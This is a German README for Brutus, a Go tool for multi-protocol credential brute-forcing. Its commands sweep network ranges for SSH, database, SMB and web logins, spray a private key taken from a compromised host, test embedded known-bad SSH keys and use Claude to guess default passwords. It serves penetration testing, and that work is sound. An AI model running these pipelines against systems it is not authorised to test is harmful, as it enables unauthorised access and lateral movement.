Schnelles, abhängigkeitsfreies Credential-Testing-Tool in Go. Brute Force für SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB und 20+ Protokolle. Hydra-Alternative mit nativer nerva/naabu-Pipeline-Integration.
<img width="2752" height="1536" alt="Brutus - Social" src="https://assets.kitploit.com/production/public/readmes/11715/32309a4ca6e7282c8dcd718e2b275a392b73a81f51cbd5d1738464eb3933fd22.png" />
<h1 align="center">Brutus</h1>
<p align="center">
<em>"Et tu, Brute?" — Die letzten Worte, bevor Zugangsdaten fallen.</em>
</p>
<p align="center">
<strong>Modernes Tool zum Testen von Zugangsdaten in reinem Go</strong>
</p>
<p align="center">
<a href="#installation">Installation</a> •
<a href="#quick-start">Schnellstart</a> •
<a href="#pipeline-integration">Pipeline</a> •
<a href="#supported-protocols">Protokolle</a> •
<a href="#account-enumeration">Enumeration</a> •
<a href="#socks5-proxy-support">Proxy</a> •
<a href="#library-integration">Bibliothek</a>
</p>
---
## Überblick
Brutus ist ein Multi-Protokoll-Tool zum Testen der Authentifizierung, das eine kritische Lücke in der Offensive-Security-Tooling schließen soll: die effiziente Validierung von Zugangsdaten über verschiedene Netzwerkdienste hinweg. Während HTTP-fokussierte Tools reichlich vorhanden sind, stoßen Penetrationstester und Red-Team-Operatoren häufig auf Datenbanken, SSH, SMB und andere Netzwerkdienste, die speziell entwickelte Fähigkeiten zum Testen der Authentifizierung erfordern.
Brutus ist in Go als einzelne Binärdatei ohne externe Abhängigkeiten gebaut und integriert sich nahtlos mit [Nerva](https://github.com/praetorian-inc/nerva) für die automatisierte Diensterkennung, sodass Operatoren Authentifizierungsvektoren über ganze Netzwerkbereiche hinweg schnell identifizieren und testen können.
**Hauptfunktionen:**
- **Keine Abhängigkeiten:** Einzelne Binärdatei, plattformübergreifend (Linux, Windows, macOS)
- **43 Protokolle:** SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, MQTT und mehr
- **SOCKS5-Proxy-Unterstützung:** Leiten Sie den gesamten Datenverkehr mit `--proxy` durch einen SOCKS5-Proxy
- **Aggressivitätsmodi:** `--mode cautious|default|aggressive` zur Abstimmung von Abdeckung und Sicherheit
- **Pipeline-Integration:** Native Unterstützung für Nerva-, naabu-, nmap- und masscan-Workflows
- **Eingebettete Bad Keys:** Integrierte Sammlung bekannter SSH-Schlüssel (Vagrant, F5, ExaGrid usw.)
- **Account-Enumeration:** Enumeration per Account-Existenz-Oracle, Kerberos-Benutzer-Enumeration, E-Mail-Generierung, Microsoft Teams/Entra ID Device-Code-Authentifizierung
- **Go-Bibliothek:** Direkt in Ihre Security-Automatisierungstools importierbar
- **Produktionsreif:** Ratenbegrenzung, Connection Pooling und umfassende Fehlerbehandlung
---
## Warum Brutus?
Traditionelle Tools wie **THC Hydra** haben der Security-Community gute Dienste geleistet, bringen aber erhebliche Reibung mit sich: komplexe Abhängigkeitsketten, plattformspezifische Kompilierungsprobleme und keine native Integration mit modernen Reconnaissance-Workflows.
**Brutus** ist speziell für moderne Offensive Security entwickelt:
- **Echte Zero-Dependency-Bereitstellung:** Laden Sie eine einzelne Binärdatei herunter und führen Sie sie aus. Kein `libssh-dev`, kein `libmysqlclient-dev`, keine Kompilierungsfehler. Funktioniert identisch unter Linux, macOS und Windows.
- **Native Pipeline-Integration:** Brutus spricht JSON und integriert sich direkt mit [Nerva](https://github.com/praetorian-inc/nerva), [naabu](https://github.com/projectdiscovery/naabu), [nmap](https://nmap.org) und [masscan](https://github.com/robertdavidgraham/masscan). Leiten Sie entdeckte Dienste direkt in das Testen von Zugangsdaten ein, ohne Formatkonvertierung oder Skripting.
- **Eingebettete Intelligenz:** Bekannte SSH-Bad-Keys (Vagrant, F5 BIG-IP, ExaGrid usw.) sind in die Binärdatei kompiliert. Verwenden Sie `brutus badkeys`, um sie gegen SSH-Ziele zu testen.
- **Library-First-Design:** Importieren Sie Brutus direkt in Ihre Go-Security-Tools. Erstellen Sie benutzerdefinierte Automatisierung, ohne externe Prozesse aufzurufen.
```bash
# Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
# Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
```
## Anwendungsfälle
### Penetrationstests
- Validieren Sie entdeckte Anmeldedaten über mehrere Dienste hinweg während interner Assessments
- Testen Sie Muster der Passwortwiederverwendung über Datenbank- und Dateifreigabedienste hinweg
- Identifizieren Sie Standard-Anmeldedaten auf neu bereitgestellter Infrastruktur
### Red-Team-Operationen
- Schnelle Validierung von Anmeldedaten nach Passwort-Dumps oder Phishing-Kampagnen
- Testen Sie Möglichkeiten zur lateralen Bewegung über Netzwerkdienste hinweg
- Validieren Sie kompromittierte Anmeldedaten in heterogenen Umgebungen
### Private-Key-Spraying
Haben Sie einen privaten Schlüssel auf einem kompromittierten System gefunden? Verteilen Sie ihn im Netzwerk, um herauszufinden, wo er sonst noch Zugriff gewährt:
```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
```
Diese Pipeline entdeckt alle SSH-Dienste, identifiziert sie mit Nerva und testet den kompromittierten Schlüssel gegen gängige Benutzernamen – und deckt so in Sekundenschnelle Möglichkeiten für laterale Bewegung auf.
### Testen von Web-Admin-Panels
HTTP-Dienste entdecken und Anmeldedaten mithilfe KI-gestützter Erkennung oder manueller Anmeldedatenlisten testen:
```bash
# AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent | \
nerva --json | \
brutus web --experimental-ai --json
# Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web -c "admin:admin,root:password" --json
# Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --json
```
### Sicherheitsvalidierung
- Standardanmeldedaten auf neu bereitgestellten Diensten testen
- Durchsetzung der Passwortrichtlinie plattformübergreifend validieren
- Audit-Trails für Compliance- und Sicherheitsbewertungen generieren
---
## Installation
### Vorgefertigte Binärdateien (Empfohlen)
Download von [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):
```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
```
```powershell
# Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip
Expand-Archive -Path brutus.zip -DestinationPath .
Remove-Item brutus.zip
```
### Go-Installation
```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
```
---
## Schnellstart
### Unterbefehle
<!-- BEGIN generated: cli-subcommands -->
Brutus organisiert seine Funktionalität in diese fokussierten Unterbefehle:
```bash
brutus badkeys # Test known weak/compromised SSH keys against targets
brutus creds # Test default credentials on non-HTTP services (SSH, databases, SMB, etc.)
brutus enum # Enumerate accounts against account-existence oracles or Active Directory
brutus logon # Detect Windows logon-screen backdoors (runs both sticky keys and utilman)
brutus snmp # Test SNMP community strings against targets
brutus stickykeys # Detect the Windows sticky-keys (sethc.exe) logon backdoor only
brutus template # Run product-specific default-credential templates
brutus utilman # Detect the Windows utilman (Ease of Access) logon backdoor only
brutus web # Audit HTTP/web panel credentials (AI-powered or credential list)
```
<!-- END generated: cli-subcommands -->
<!-- BEGIN generated: cli-aliases -->
Einige Unterbefehle tragen Aliase zur besseren Auffindbarkeit:
| Unterbefehl | Aliase |
| --- | --- |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `creds` | `services`, `defaults`, `credentials` |
| `snmp` | `community` |
| `web` | `http`, `panels` |
Die vollständige Referenz — jeder Unterbefehl, Alias und jedes Flag, einschließlich der vor `--help` verborgenen — wird in [docs/CLI.md](https://github.com/praetorian-inc/brutus/blob/main/docs/CLI.md) generiert.
<!-- END generated: cli-aliases -->
```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
### Grundlegende Verwendung
```bash
# Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
# Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
# Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
# Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
# Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
# JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
```
### Ausgabebeispiel
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
```
Mit ausführlichem Modus (`-v`):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
```
JSON-Ausgabe für die Pipeline-Integration (gibt nur erfolgreiche Anmeldedaten aus):
```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
```
---
## Pipeline-Integration
Brutus lässt sich nahtlos mit **[Nerva](https://github.com/praetorian-inc/nerva)** und **[naabu](https://github.com/projectdiscovery/naabu)** für eine vollständige Netzwerkaufklärung integrieren.
### Praxisnahe Szenarien
#### Szenario 1: Scannen eines Unternehmens-/24-Netzwerks
```bash
# Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva --json | \
brutus creds --json -o results.json
# Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent | \
nerva | brutus creds -o results.json
# Review findings (all output is successful credentials)
cat results.json | jq '.'
```
#### Szenario 2: Bug-Bounty-Recon auf einer Ziel-Domain
```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
```
#### Szenario 3: Datenbank-Jagd in einem internen Assessment
```bash
# Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent | \
nerva --json | \
brutus creds -t 5 --json | \
tee database-findings.json
# Extract credentials in readable format
jq -r '"\(.target) \(.username):\(.password)"' database-findings.json
```
#### Szenario 4: SSH-Schlüsseltests über die gesamte Infrastruktur hinweg
```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
```
#### Szenario 5: Gezieltes Dienst-Testing
```bash
# Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent | \
nerva --json | \
brutus creds
# Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent | \
nerva --json | \
brutus creds -u admin,root,mongodb -p admin,password,mongodb
```
### Scan-Tool-Import (Nmap & Masscan)
Brutus kann Ziele direkt aus **nmap**- und **masscan**-Scan-Ausgabedateien importieren, wodurch die Notwendigkeit einer Formatkonvertierung oder Zwischentools entfällt.
#### Nmap-XML-Import (`--nmap-file`)
Importiert Ziele aus der XML-Ausgabe von nmap (`-oX`). Nmap bietet Service-Fingerprinting, sodass Brutus erkannte Dienste automatisch dem korrekten Protokoll zuordnet:
```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
```
Nmap-Dienstnamen werden automatisch auf Brutus-Protokolle abgebildet (z. B. `ms-wbt-server` → `rdp`, `microsoft-ds` → `smb`). TLS wird aus dem Attribut `tunnel="ssl"` von nmap erkannt. Nur offene Ports auf erreichbaren Hosts werden importiert.
#### Masscan-JSON-Import (`--masscan-file`)
Importiere Ziele aus der JSON-Ausgabe von masscan (`-oJ`). Da masscan nur ein Portscanner ist (keine Dienst-Fingerprinting), musst du entweder `--protocol` angeben oder Brutus mit Nerva automatisch fingerprinten lassen:
```bash
# Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
# Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
# Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
```
#### Kombination mit anderen Workflows
Die Flags `--nmap-file` und `--masscan-file` funktionieren mit allen Unterbefehlen und schließen sich gegenseitig mit `--target`, `--targets-file` und stdin aus:
```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
```
### Pipeline-Eingabeformat
Brutus akzeptiert mehrere Eingabeformate von stdin:
**Nerva JSON** (`nerva --json`):
```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
```
**Nerva-URI** (Standard-Nerva-Ausgabe, kein `--json` erforderlich):
```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
```
**Nackte Ziele** (automatisch mit Nerva gefingerprintet):
```bash
echo "192.168.1.100:22" | brutus creds
```
Brutus automatisch:
- Parst JSON-, URI-Schema- und reine Zielformate
- Ordnet Dienste Protokollen zu
- Testet geeignete Standard-Anmeldedaten
- Gibt Ergebnisse im passenden JSON-Format aus
### Pipeline-Ausgabeformat
Brutus gibt nur erfolgreiche Anmeldedaten im JSONL-Format aus (ein JSON-Objekt pro Zeile):
```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
```
**Hinweis:** Fehlgeschlagene Authentifizierungsversuche werden nicht in die JSON-Ausgabe aufgenommen. Das Feld `key` erscheint (als `true`), wenn die Authentifizierung einen SSH-Schlüssel anstelle eines Passworts verwendet hat. Das Feld `llm_suggested` erscheint (als `true`), wenn Anmeldedaten vom KI-System vorgeschlagen wurden (`--experimental-ai`).
---
## Vergleich
| Funktion | Hydra | Medusa | Ncrack | **Brutus** |
|---------|:-----:|:------:|:------:|:----------:|
| Einzelne Binärdatei | ❌ | ❌ | ❌ | ✅ |
| Keine Abhängigkeiten | ❌ | ❌ | ❌ | ✅ |
| SOCKS5-Proxy | ✅ | ❌ | ❌ | ✅ |
| Nerva-Pipeline | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan-Import | ❌ | ❌ | ❌ | ✅ |
| JSON-Streaming | ⚠️ | ❌ | ❌ | ✅ |
| Plattformübergreifend | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Konsistente Fehler | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Aktive Entwicklung | ✅ | ⚠️ | ❌ | ✅ |
| Eingebettete Bad Keys | ❌ | ❌ | ❌ | ✅ |
| Go-Bibliotheksimport | ❌ | ❌ | ❌ | ✅ |
---
## Unterstützte Protokolle
Brutus unterstützt **43 Protokolle**:
### Netzwerkdienste
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| SSH | 22 | Passwort, Private Keys | Server, Netzwerkgeräte |
| FTP | 21 | Passwort | Dateiserver, NAS-Geräte |
| rsync | 873 | Modul-Secrets, Anonymous | Dateisynchronisierung |
| Telnet | 23 | Passwort | Legacy-Systeme, IoT-Geräte |
| VNC | 5900 | Passwort | Remote-Desktops |
| RDP | 3389 | NLA/CredSSP, Passwort | Windows-Server, Workstations |
| SNMP | 161 | Community String | Netzwerkgeräte, Drucker |
| IPMI | 623/udp | RMCP | BMC / Lights-out |
| OPC UA | 4840 | Username-Token, Anonymous | ICS/SCADA |
### Webdienste
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| HTTP | 80 | Basic Auth | Admin-Panels (Grafana, Jenkins, etc.) |
| HTTPS | 443 | Basic Auth | Sichere Admin-Panels |
| Browser | 80/443 | Formular | browserbasierte Microsoft/Entra-Anmeldung |
### Unternehmensinfrastruktur
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| SMB | 445 | Passwort, NTLM | Windows-Netzwerke, Dateifreigaben |
| LDAP | 389/636 | Bind DN | Active Directory, Identität |
| WinRM | 5985/5986 | NTLM | Windows-Remoteverwaltung |
### Datenbanken
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| MySQL | 3306 | Passwort | Webanwendungen |
| PostgreSQL | 5432 | Passwort | Moderne Anwendungen |
| MSSQL | 1433 | Passwort | Unternehmensanwendungen |
| MongoDB | 27017 | Passwort | NoSQL-Backends |
| Redis | 6379 | Passwort | Caching, Sitzungen |
| Memcached | 11211 | SASL, Anonymous | Caching |
| Neo4j | 7687 | Passwort | Graphdatenbanken |
| Cassandra | 9042 | Passwort | Verteilte Datenbanken |
| CouchDB | 5984 | HTTP Basic | Dokumentenspeicher |
| Elasticsearch | 9200 | HTTP Basic | Suchmaschinen |
| InfluxDB | 8086 | HTTP Basic | Zeitreihendaten |
| Oracle | 1521 | Passwort | Unternehmensdatenbanken |
| DB2 | 50000 | Passwort | Unternehmensdatenbanken |
| Firebird | 3050 | Passwort | Eingebettete Datenbanken |
### Container & Orchestrierung
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| Docker | 2375/2376 | Unauthentifiziert | Exponierte Docker-Daemons |
| Kubernetes | 6443/10250 | Unauthentifiziert | Exponierte K8s-API/kubelet |
### Kommunikation
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|----------|------|--------------|----------|
| SMTP | 25/587 | Passwort | Mail-Relay |
| IMAP | 143/993 | Passwort | Postfachzugriff |
| POP3 | 110/995 | Passwort | Postfachzugriff |
| ActiveMQ | 61616 | Passwort | OpenWire-Broker |
| SIP | 5060/5061 | Digest | VoIP |
| TURN | 3478 | Passwort | TURN-Relay |
| ZooKeeper | 2181 | Digest, Anonymous | Koordination |
| NATS | 4222 | Passwort, Anonymous | Messaging |
| XMPP | 5222 | SASL PLAIN | Chat |
| MQTT | 1883/8883 | Passwort, Anonymous | IoT-Broker |
| AMQP | 5672/5671 | SASL PLAIN | RabbitMQ |
| Kafka | 9092 | SASL/PLAIN | Broker |
| SOCKS5 | 1080 | SOCKS5-Proxy-Authentifizierung | Proxys |
---
## Eingebettete SSH Bad Keys
Bereitstellung als einzelne Binärdatei ohne externe Schlüsseldateien. Jeder Schlüssel ist mit seinem Standard-Benutzernamen für intelligentes Credential-Mapping gepaart, und CVE-Tracking ermöglicht Compliance-Abfragen.
Brutus enthält die **[rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys)**- und **[Vagrant](https://github.com/hashicorp/vagrant)**-Schlüsselsammlungen, die in die Binärdatei eingebettet sind:
```bash
# Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
# Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
# Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
```
### Eingebettete Schlüsselsammlung
| Produkt | CVE | Standardbenutzer | Beschreibung |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant unsicherer Schlüssel |
| F5 BIG-IP | CVE-2012-1493 | root | Statischer SSH-Hostschlüssel |
| ExaGrid | CVE-2016-1561 | root | Backup-Appliance-Hintertür |
| Monroe DASDEC | CVE-2013-0137 | root | Notfallwarnsysteme |
| Barracuda | CVE-2014-8428 | cluster | Load-Balancer-VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Drahtloses Backhaul |
| Array Networks | - | sync | vAPV/vxAG-Appliances |
| Quantum DXi | - | root | Deduplizierungs-Appliances |
| Loadbalancer.org | - | root | Enterprise-Load-Balancer |
---
## Aggressivitätsmodi
Das globale `--mode`-Flag (`-m`) steuert die Aggressivität über alle Unterbefehle hinweg. Es legt Leistungsoptimierungs-Presets fest, die Abdeckung gegen Sicherheit abwägen:
| Modus | Threads | Timeout | Ratenlimit | Jitter | Wiederholungen | Anwendungsfall |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Produktionsumgebungen, Aussperrungen vermeiden |
| `default` | 10 | 10s | Unbegrenzt | Keine | 2 | Standardtests |
| `aggressive` | 20 | 10s | Unbegrenzt | Keine | 3 | Lab-/CTF-Umgebungen, maximale Abdeckung |
Modus-Presets werden zuerst angewendet, dann überschreiben alle expliziten CLI-Flags diese:
```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
```
Für SNMP steuert der Modus auch die Tiefe der integrierten Wortliste (siehe [SNMP Community String Testing](#snmp-community-string-testing)).
---
## SOCKS5-Proxy-Unterstützung
Das Flag `--proxy` leitet alle Verbindungen über einen SOCKS5-Proxy. Dies funktioniert über alle Protokolle und Unterbefehle hinweg:
```bash
# Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
# Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
# DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
# Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
# Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080
brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
```
Unterstützte Schemata:
- `socks5://` — Standard-SOCKS5-Proxy (clientseitige DNS-Auflösung)
- `socks5h://` — SOCKS5 mit remote DNS-Auflösung (nützlich beim Ansprechen interner Hostnamen)
---
## SNMP-Community-String-Testing
Der `snmp`-Unterbefehl bietet dediziertes SNMP-v1/v2c-Community-String-Testing mit gestaffelten Wortlisten, die über das globale `--mode`-Flag gesteuert werden:
| Modus | Strings | Abdeckung |
|------|---------|----------|
| `cautious` | ~25 | Häufige Strings (public, private, community usw.) |
| `default` | ~25 | Wie cautious |
| `aggressive` | 200+ | Umfassend (hersteller-spezifisch, SCADA, IP-Kameras, Storage usw.) |
```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
```
---
## Bibliotheksintegration
Für Entwickler, die Sicherheitsautomatisierungstools erstellen, kann Brutus auch als Go-Bibliothek importiert werden:
```bash
go get github.com/praetorian-inc/brutus
```
```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
```
## Experimentell: KI-gestützte Anmeldedaten-Erkennung
> **⚠️ Experimentelle Funktion:** KI-Funktionen erfordern externe API-Schlüssel und befinden sich in aktiver Entwicklung.
### Das `--experimental-ai`-Flag
Das `--experimental-ai`-Flag aktiviert die automatische Erkennung von Anmeldedaten für HTTP-Dienste:
```bash
# Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification
export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
# AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent | \
nerva --json | \
brutus web --experimental-ai
```
**Funktionsweise:**
1. **Erkennung** — Brutus sondiert HTTP-Ziele, um den Authentifizierungstyp zu erkennen (Basic Auth vs. formularbasiert)
2. **Geräteidentifikation** — Claude Vision analysiert Screenshots, um das Gerät/die Anwendung zu identifizieren
3. **Anmeldedaten-Vorschläge** — Claude schlägt Standard-Anmeldedaten aus seinen Trainingsdaten vor
4. **Optionale Websuche** — Perplexity (falls konfiguriert) sucht online nach zusätzlichen Anmeldedaten
5. **Testen** — Testet die entdeckten Anmeldedaten gegen das Ziel
**Für HTTP-Basic-Auth-Ziele:**
- Sondiert `/`, um HTTP-Header zu erfassen
- Identifiziert das Gerät anhand des Server-Headers, der WWW-Authenticate-Realm usw.
- Claude schlägt wahrscheinliche Standard-Anmeldedaten vor
- Testet Anmeldedaten-Paare automatisch
**Für HTTP-formularbasierte Auth-Ziele:**
- Verwendet headless Chrome, um die Seite zu rendern und einen Screenshot zu erstellen
- Claude Vision identifiziert das Anmeldeformular, den Gerätetyp und schlägt Anmeldedaten vor
- Perplexity (optional) sucht nach zusätzlichen Standard-Anmeldedaten
- Browser-Automatisierung füllt das Formular aus und sendet es ab
**Voraussetzungen:**
- `ANTHROPIC_API_KEY` — **Erforderlich** für Claude Vision (Geräteidentifikation + Anmeldedaten-Vorschläge)
- `PERPLEXITY_API_KEY` — *Optional* für zusätzliche Websuche-Recherche
- Chrome/Chromium installiert (nur für formularbasierte Auth)
**Nicht-HTTP-Protokolle (SSH, MySQL usw.) sind von `--experimental-ai` nicht betroffen** — sie verwenden weiterhin Standard-Anmeldedaten-Tests.
---
## RDP: Sticky-Keys-Backdoor-Erkennung & -Ausnutzung
Brutus enthält eine automatische Erkennung der **Sticky-Keys-Backdoor** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) auf RDP-Zielen. Diese Vorauthentifizierungsprüfung läuft auf Nicht-NLA-RDP-Zielen — es sind keine Anmeldedaten erforderlich.
**Funktionsweise:**
1. Verbindet sich mit dem RDP-Ziel und handelt eine Nicht-NLA-Sitzung aus
2. Erfasst die Bitmap des Anmeldebildschirms als Basislinie
3. Sendet 5x Shift-Taste (der Sticky-Keys-Auslöser)
4. Erfasst die Antwort-Bitmap
5. Heuristische Analyse erkennt, ob ein Terminalfenster erschienen ist (cmd.exe, PowerShell usw.)
6. Bestätigt optional über die Claude Vision API (wenn `ANTHROPIC_API_KEY` gesetzt ist)
```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
```
